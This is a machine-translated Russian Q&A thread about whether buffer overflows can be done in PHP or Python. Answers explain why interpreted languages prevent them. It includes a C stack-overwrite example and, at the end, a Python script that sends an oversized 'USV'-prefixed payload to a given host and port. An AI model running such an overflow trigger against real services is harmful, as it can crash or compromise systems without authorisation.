Как выполнить переполнение буфера в PHP / Python?

Вот пример в c:

#include <stdio.h> #include <string.h> void bad() { printf("Oh shit really bad~!\r\n"); } void foo() { char overme[4] = "WOW"; *(int*)(overme+8) = (int)bad; } int main() { foo(); } 

Тот факт, что Python и PHP интерпретируются как предложенные другими, на самом деле не суть. Дело в том, что почти все API-интерфейсы и семантика языка, которые они выставляют, подвергаются серьезной проверке ошибок, что делает невозможным использование неопределенного поведения. Даже если вы скомпилируете языки, это все равно будет невозможно. Это не означает, что вы не можете выявить небезопасные API, которые могут что-то сделать. Фактически, используя модуль Ptyons ctypes, должно быть возможно создать подобное поведение, но значительно сложнее сделать это случайно.

Поскольку PHP является языком сценариев и не имеет указателей, а тип строки двоично-безопасен, такие вещи не будут работать в PHP.

Но зачем вам это делать?

(о, могут быть ошибки в PHP, приводящие к переполнению буфера, но это ничто, на что можно положиться, и обычно фиксируется довольно ffast …)

Выполнение чего-то подобного в PHP не приведет к такому же поведению.

PHP интерпретируется и всегда проверяет, действительна ли операция, которую вы выполняете, или нет. Таким образом, вы не можете, например, перехватить буфер.

Поскольку php, python и каждый интерпретируемый язык сначала должны пройти через интерпретатор, и у вас нет полного доступа к памяти, такие языки не позволят вам делать такие игры, как код, который вы опубликовали.

Извините: вы достигли слабости в Python. К сожалению, это по дизайну, поэтому мало что можно сделать по этому поводу. Возможно, вам стоит остаться с C.

Как сказал Мартин против Лёвиса:

Извините, Python не поддерживает переполнение буфера.

PS Вау. Кажется, что несколько месяцев назад я прочитал этот пост, и все же это было 7 лет и один день.

 import sys import socket for carg in sys.argv: if carg == "-S": argnum= sys.argv.index(carg) argnum +=1 host = sys.argv[argnum] elif carg == "-p": argnum = sys.argv.index(carg) argnum +=1 port = sys.argv[argnum] buffer = "\x41"* 3000 s= socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) s.send("USV" + buffer) s.close()